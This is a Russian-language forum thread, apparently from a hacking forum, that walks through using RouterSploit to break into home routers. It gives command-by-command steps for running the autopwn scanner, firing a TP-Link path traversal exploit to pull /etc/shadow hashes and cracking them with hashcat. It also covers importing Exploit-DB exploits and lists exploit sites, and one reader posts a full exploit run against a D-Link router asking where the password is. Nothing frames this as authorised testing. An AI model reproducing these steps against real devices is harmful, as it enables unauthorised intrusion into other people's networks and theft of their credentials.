Тут буду запиливать мои подвиги с роутерами... RouterSploit - Часть Первая Вводный видос... Вечером добавлю практический пример... З.Ы. Так как сайт упал, желание постить "немного" упало тоже... (полетело несколько моих постов с работами недельными ) если вы подбодрите, постараюсь запилить побольше примеров...
Ну что ж приступим... RouterSploit - Часть Вторая В кратце ... РоутерСплоит представляет собой аналог МетаСплойта только в более простом варианте, позволяет получить данные из роутера без брутфорса админки... причание: Для тех кто хочет изучать МетаСплойт лучше начинать обучение именно RouterSploita т.к. тут проще и быстрее разобратся... Для начала нам нужно его инстальнуть... сливаем с ГитХаба и делаем алиас... root@Anonymous: ~# apt-get install python-requests python-paramiko python-netsnmp -y root@Anonymous: git clone https://github.com/reverse-shell/routersploit root@Anonymous: echo "alias routersploit='/root/routersploit/rsf.py' " >> ~/.bashrc root@Anonymous: source ~/.bashrc ОКей теперь мы можем вызвать РоутерСплоит из консоли при помощи комманды "routersploit" а не прописывая полный путь к rsf.py Такс... коннектимся к роутеру (я для примера приконектился к локальному роутеру), теперь запускаем. Запустили, видим приветсвие, вводим сканер уязвимостей. root@Anonymous: use scanners/autopwn далее смотрим опции сканера root@Anonymous: show options Меняем айпи на наш, и если необходимо то и порт (по-умолчанию 80) root@Anonymous: set target 192.168.1.1 и собсна запускаем сканер... root@Anonymous: run после нескольких минут он покажет какие эксплойты подойдут к нашему роутеру... далее нам просто нужно выбрать из списка необходимый экслойт и запустить его... выходим из сканера (так более корректно , чем просто сразу выбрать эксплойт) Выходим из сканнера через команду "back", так более корректно чем просто сразу использовать эсклойт через "use" root@Anonymous: back root@Anonymous: use exploits/tplink/wdr740nd_wdr740n_path_traversal далее смотрим опции root@Anonymous: show options можно выставить айпи, порт , и файл который необходимо прочитать... root@Anonymous: set target 192.168.0.1 финальный штрих, проверяем действительно ли данный эксплойт подходит? (чекаем) root@Anonymous: check всё гуд, продолжаем.... root@Anonymous: exploit барабанная дробь... ba-dum-tssss мы получили хэши из shadow.... копируем хэш и выходим из роутерсплойта root@Anonymous: exit root@Anonymous: echo "hash_string" > hash.txt далее кидаем всё в текстовый файл и загоняем в котяру root@Anonymous: hashcat -m 500 -a 3 hash.txt ?a?a?a?a?a -o cracked.txt и курим.... покурили? root@Anonymous: cat cracked.txt Слава Аллаху, скрины загрузились... ну вроде закончил. Пару замечаний по статье.... 1) У меня есть подозрение что хэши из /etc/shadow не совсем то что нам нужно, так как пасс из хэша не подошел к админке, но я думаю это дело техники, скоро я найду нужный нам файл... и позже подкорректирую путь. Далее я покажу 1. Как добавлять новые\нужные экслойты в базу. 2. Как использовать уязвимости удалённых роутеров. 3. Напишу пару сайтов с эксплойтами и как найти нужный. (сделал копию статьи на всякий случай ))))) )
Лучше бы в репозиторий routersploit'a заливал, благо он принимает пул реквесты, даже если кто-то забыл точку в предложении
Могу доверить это дело тебе, не рассказывайте мне что делать и я не скажу куда пойти. Хотите помочь, пишите в личку. RouterSploit - Часть Третья Сайты с эксплойтами... 1. http://ru.0day.today 2. https://www.exploit-db.com 3. https://github.com/offensive-security/exploit-database 4. http://www.routerpwn.com
У вас на скриншотах и в тексте часто меняется ip роутера то .0.1 то .1.1 так и должно быть? Текст со скриншотом не сходится
Не обращайте внимания, во время сессии ноут переключился на более сильный сигнал, я это увидел после того как сделал скрин. IP у роутера был 192.168.0.1 RouterSploit - Часть Четвёртая Допустим нам нужно залить эксплойт на Ubiquiti AirOS. Идём https://www.exploit-db.com/search и пишем ubiquity Нам подходит "Ubiquiti AirOS 5.5.2 - Remote Post-Auth Root Command Execution" Нажимаем Download и скачиваем его... Мы нашли нужный нам эксплойт, теперь стоит задача добавить его в базу, как же это сделать? Очень просто, вводим в терминале. root@Anonymous: find / -name exploits -print Эта комманда покажет все дериктории и файлы с именем "exploits", нам нужно только выбрать папку с роутерсплоитом, по-умолчанию она находится в папке пользователя, в моём случае это "root" Мы нашли нашу директорию, и просто копируем туда файл
точнее не роутерсплоит а сканер уязвимостей (autopwn), без него пришлось бы чекать в ручную каждый эксплойт... в метасплойте есть аналогичный сканер... но об этом позже.
По волшебной причине там скорее всего роутер. По идеи у тебя может быть 192.168.0.1, 10.0.0.1 и не только (точно не помню и вроде можно менять локальный IP адрес роутера), вообщем просто указываешь IP адрес роутера и в атаку
ВНЕЗАПНО! РАЗРЫВ ШАБЛОНА! РОУТЕР НЕ 192.168.1.1 (сори за капчу )))) ) На самом деле тут может быть два варианта развития событий.. 1. Роутер действительно находится по адресу 192.168.1.254 (для сбития с толку хакера) 2. По адресу 192.168.1.1 находится мопед (АДСЛ например) а по адресу 192.168.1.254 находится Ацесс Поинт (она вещает вафлю) между собой подключены через витую пару. Просмотреть таблицу маршрутизации можно с помощью команды "route" или "netstat -r" Опеределить все устройства довольно легко, через несколько утилит. 1. чекнуть свою сеть Nmap'om 2. Запустить замечательную утилиту NetDiscover
Здравствуйте! Благодарю за подробный мануал! Попытался подобраться к админке роутера D-Link DIR-825/AC с помощью RouterSploit. После сканирования выяснилось что роутер уязвим, при использовании эксплойта получил ответ: Spoiler: Вывод [+] Target is vulnerable rsf (3Com 3CRADSL72 Info Disclosure) > run [*] Running module... [*] Sending request to download sensitive information [+] Exploit success [*] Reading /app_sta.stm file <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>DIR-825/AC</title> <meta name="copyright" content="Copyright (C) 2012 D-Link Russia" /> <meta name="keywords" content="D-LINK DEVICE" /> <meta name="description" content="D-LINK DEVICE" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="pragma" content="no-cache" /> <meta http-equiv="cache-control" content="no-cache" /> <meta http-equiv="content-style-type" content="text/css" /> <meta http-equiv="content-script-type" content="text/javascript" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link type="image/x-icon" rel="shortcut icon" href="favicon.ico" /> <link type="text/css" rel="stylesheet" href="css/init.css" /> <link type="text/css" rel="stylesheet" href="css/general.css" /> <link type="text/css" rel="stylesheet" href="css/fashion.css" /> <link type="text/css" rel="stylesheet" href="css/login.css" /> <link type="text/css" rel="stylesheet" href="css/rostelecom.css" /> <script type="text/javascript" src="scripts/jquery.js"></script> <script type="text/javascript" src="scripts/jquery.json.js"></script> <script type="text/javascript" src="scripts/rus.lng.js"></script> <script type="text/javascript" src="scripts/config.lng.js"></script> <script type="text/javascript"> window.curlang = "rus"; </script> <script type="text/javascript" src="scripts/init.js"></script> <script type="text/javascript" src="scripts/device.js"></script> <script type="text/javascript" src="scripts/general.js"></script> <script type="text/javascript" src="scripts/login.js"></script> <script type="text/javascript" src="scripts/test/lang.common.js"></script> <script type="text/javascript" src="scripts/fashion.js"></script> <script type="text/javascript" src="mobile/scripts/ismobile.js"></script> <script type="text/javascript"> function rostelecom_auth(){ location.hash = '#reload'; } </script> </head> <body id="rst"> <div id='gwrapper'> <div id='content'> <div class='wrapper'> <div id='authblock'> <form id='id_form_main' method='post' enctype='application/x-www-form-urlencoded' action='index.cgi'> <input type='hidden' name='v2' value='y' /> <input type='hidden' name='rs_type' value='html' /> <input id='auth' name='auth' type='hidden' value='auth' /> <div class="logo_block_wrap"> <div class="logo_block"> <img src="../app/img/dcc_web.png" onerror="this.src = '../wizard/img/dcc_web.png'"> <span class="title">ÐвÑоÑизаÑиÑ</span> </div> </div> <div class='content'> <div id="message"> <span langkey='bad_auth'>ÐÑибка авÑоÑизаÑии</span> </div> <div class='space'></div> <div class='field'> <div class='input'> <input type='text' id='A1' maxlength='15' placeholder="ГђГђВјГ‘ полÑзоваÑелÑ"/> </div> <div class='clear'></div> </div> <div class='space'></div> <div class='field'> <div class='input'> <input type='password' id='A2' maxlength='30' placeholder="ÐаÑолÑ"/> </div> <div class='clear'></div> </div> </div> <div class='footer'> <div class='space'></div> <div class='field'> <input type='button' id='enter' langkey='button_enter_rst' onclick="rostelecom_auth()" /><input type='reset' id='reset' langkey='button_clear' class="no" /> </div> </div> </form> </div> </div> </div> <div id='footer'> <div class='wrapper'></div> </div> </div> <div class='reset-info' id="resetInfo"> <div class="rs-close"></div> <div class="rs-cap"></div> <div class="rs-text"></div> <div class="rs-warning"></div> </div> </body> </html> [*] Sending request to download sensitive information [+] Exploit success [*] Reading /cgi-bin/config.bin file <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>DIR-825/AC</title> <meta name="copyright" content="Copyright (C) 2012 D-Link Russia" /> <meta name="keywords" content="D-LINK DEVICE" /> <meta name="description" content="D-LINK DEVICE" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="pragma" content="no-cache" /> <meta http-equiv="cache-control" content="no-cache" /> <meta http-equiv="content-style-type" content="text/css" /> <meta http-equiv="content-script-type" content="text/javascript" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link type="image/x-icon" rel="shortcut icon" href="favicon.ico" /> <link type="text/css" rel="stylesheet" href="css/init.css" /> <link type="text/css" rel="stylesheet" href="css/general.css" /> <link type="text/css" rel="stylesheet" href="css/fashion.css" /> <link type="text/css" rel="stylesheet" href="css/login.css" /> <link type="text/css" rel="stylesheet" href="css/rostelecom.css" /> <script type="text/javascript" src="scripts/jquery.js"></script> <script type="text/javascript" src="scripts/jquery.json.js"></script> <script type="text/javascript" src="scripts/rus.lng.js"></script> <script type="text/javascript" src="scripts/config.lng.js"></script> <script type="text/javascript"> window.curlang = "rus"; </script> <script type="text/javascript" src="scripts/init.js"></script> <script type="text/javascript" src="scripts/device.js"></script> <script type="text/javascript" src="scripts/general.js"></script> <script type="text/javascript" src="scripts/login.js"></script> <script type="text/javascript" src="scripts/test/lang.common.js"></script> <script type="text/javascript" src="scripts/fashion.js"></script> <script type="text/javascript" src="mobile/scripts/ismobile.js"></script> <script type="text/javascript"> function rostelecom_auth(){ location.hash = '#reload'; } </script> </head> <body id="rst"> <div id='gwrapper'> <div id='content'> <div class='wrapper'> <div id='authblock'> <form id='id_form_main' method='post' enctype='application/x-www-form-urlencoded' action='index.cgi'> <input type='hidden' name='v2' value='y' /> <input type='hidden' name='rs_type' value='html' /> <input id='auth' name='auth' type='hidden' value='auth' /> <div class="logo_block_wrap"> <div class="logo_block"> <img src="../app/img/dcc_web.png" onerror="this.src = '../wizard/img/dcc_web.png'"> <span class="title">ÐвÑоÑизаÑиÑ</span> </div> </div> <div class='content'> <div id="message"> <span langkey='bad_auth'>ÐÑибка авÑоÑизаÑии</span> </div> <div class='space'></div> <div class='field'> <div class='input'> <input type='text' id='A1' maxlength='15' placeholder="ГђГђВјГ‘ полÑзоваÑелÑ"/> </div> <div class='clear'></div> </div> <div class='space'></div> <div class='field'> <div class='input'> <input type='password' id='A2' maxlength='30' placeholder="ÐаÑолÑ"/> </div> <div class='clear'></div> </div> </div> <div class='footer'> <div class='space'></div> <div class='field'> <input type='button' id='enter' langkey='button_enter_rst' onclick="rostelecom_auth()" /><input type='reset' id='reset' langkey='button_clear' class="no" /> </div> </div> </form> </div> </div> </div> <div id='footer'> <div class='wrapper'></div> </div> </div> <div class='reset-info' id="resetInfo"> <div class="rs-close"></div> <div class="rs-cap"></div> <div class="rs-text"></div> <div class="rs-warning"></div> </div> </body> </html> Подскажите, пожалуйста, где здесь найти пароль? Или я что-то не так делаю? Спасибо! PS. В статье пропали 4 скриншота. Добавьте, плиз...